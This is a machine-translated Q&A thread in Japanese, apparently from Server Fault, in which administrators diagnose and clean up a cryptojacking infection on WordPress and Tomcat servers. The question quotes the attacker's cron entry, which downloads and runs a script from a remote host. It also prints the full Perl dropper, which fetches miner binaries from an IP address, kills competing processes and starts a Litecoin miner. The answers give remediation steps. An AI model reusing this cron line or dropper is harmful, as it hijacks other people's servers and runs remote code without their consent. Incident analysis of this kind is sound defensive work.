いくつかのwordpress&Tomcat Webサイトで実行されているCENTOS6サーバーがあります。過去2日間、継続的にクラッシュしています。調査の結果、kernelupdatesバイナリがサーバーで100%のCPUを消費していることがわかりました。プロセスについて説明します。未満。
./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx
しかし、このプロセスは無効なカーネル更新のようです。サーバーが危険にさらされている可能性があり、このプロセスはハッカーによってインストールされているため、このプロセスを強制終了し、Apacheユーザーのcronエントリを削除しました。
しかし、どういうわけか、このプロセスは数時間後に再開され、cronエントリも復元されました。私は、cronジョブを変更しているものを探しています。
Cronエントリ(Apacheユーザー)
/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;Perl abc.txt;rm -f abc*
abc.txt
#!/usr/bin/Perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
$rn=int(Rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig=`wget --version | grep GNU`;
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}
@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(Rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";
このプロセスは、ライトコイン(代替暗号通貨)マイナープロセスです。あなたのサーバーにアクセスできる誰かがあなたのサーバーを使ってライトコインを生成しています(=お金を稼ぐ)。 kernelupdates
の名前は、混乱を招く可能性が非常に高いです。
何かを削除する前に、持っているものすべてのバックアップを作成し、これがどのようにサーバーに配置されたかを確認することをお勧めします。削除してもセキュリティの問題を削除しないと、再発する可能性が非常に高くなります。私はWordpressまたはセキュリティホールを襲っている古いプラグインに賭けます。
セキュリティの問題を見つけて修正した後、syslogでcronログを調べてみてください。これにより、cronジョブがどのように挿入されているかがわかる場合があります。
私のクライアントの1人に起こりました。セキュリティホールを見つけたときの簡単な修正の1つは、updates.dyndn-web.comからのダウンロードを防ぎ、影響を受けるユーザーのcrontabを無効にすることです。 (前述のcrontab + bin/falseソリューション)
echo "www-data" >> /etc/cron.deny
これにより、ユーザーwww-dataのcrontabが無効になります
以下は、updates.dyndn-web.comからのスクリプトのダウンロードを無効にします
127.0.0.1 updates.dyndn-web.com #http://serverfault.com/questions/598522/kernelupdates-100-cpu-usage
注:使用されているスクリプトは、 "named" system( "killall -9 named");を強制終了しています。
@wemineltcにツイートして、ユーザーspdrmanを禁止し、彼/彼女のLTCを慈善団体に移すように依頼しました。リツイートしてください。
私は自分のサーバーでこれに危うくされました。ログを見ると、古いwordpressサイトでヒットしていて、数秒後にcronジョブが何度も実行されていたことがわかります。このサイトをかなり長い間使用していたのは興味深いことです。しばらくして、nginxとphp-fpmに切り替えたときにのみ発生しましたが、セットアップは同じですか?
基本的には、php/wordpressの脆弱性を介してこれらのcronジョブをインストールできたということだけが起こったことを願っています。
crontab -e
を実行して、cronジョブを起動します/tmp/abc.txt.1
に配置して実行します/etc/.ice-unix
のライトコインマイナーをダウンロードし、名前をkernelupdates
に変更して開始しますまた、ライトコインのユーザー名はspdrman.2
とspdrman.10
の間でわずかに変動することに注意してください。
1つは、Apacheユーザーの/ etc/passwdを確認してください。シェルを愚かに/bin/bash
に設定しましたが、これは/bin/false
として設定する方がおそらく安全です。
また、可能であれば、Apacheユーザーがcrontab
、wget
、curl
などのコマンドを実行して、これが再発しないようにすることもできます。それらのコマンドは、彼らが入ったときに彼らがしたことの核心にあるようです。
念のため、sshポートを再度変更するので、再確認し、sshd設定でPermitRootLogin no
を設定したので、rootとして直接取得できなかったと確信しています。
私もこれを手に入れました、どうやら一人のユーザーのパスワードがなんとか漏洩したようです。私がこれまでにしたこと:
Sudo crontab -e -u <user>
でクリアしましたSudo usermod -s /usr/sbin/nologin <user>
でそのユーザーのログインを無効にしました(利用できない場合は/sbin/nologin
または/bin/false
を試してください)~/.ssh/authorized_keys
を削除しましたchkrootkit
&rkhunter
をインストールして実行しました(誤検知のみ)次に行うことは、サーバー全体を再構築することです。ただのVMで、とにかく Ansible を使用して構成を自動化したかったのですが、急いで行うのは楽しいことではありません。しかし、それが唯一の方法です。何も改ざんされていないことを確認します。
あなたが提示したPerlスクリプトによると、あなたのサーバーは危険にさらされています。 chrootkit(yum install chrootkit)をインストールして、ファイルシステムをチェックすることを強くお勧めします。また、ルートキットが更新されないように、そのcronjobを無効にすることをお勧めします。
5日前のopenSUSEサーバーでも同じ問題が発生しました。使用されているスクリプトは、サーバーで見つけたもの(同じユーザー名とパスワードのセット)、同じcron、at、ipsです。 psでスタックした/ usr/bin/Hostプロセスも確認してください。プロセスは、LD_PRELOAD(私の場合はlibworker.so(atジョブから/ usr/bin/Hostが呼び出されるたびに削除されます))を使用してダイナミックライブラリをロードします。これは、POSTから.../xenta.phpへ。ダイナミックライブラリの構築に使用される変更されたシェルコード(ダンパーはphpで記述されており、wordpressでの使用に適しています)で動作します。
これがお役に立てば幸いです。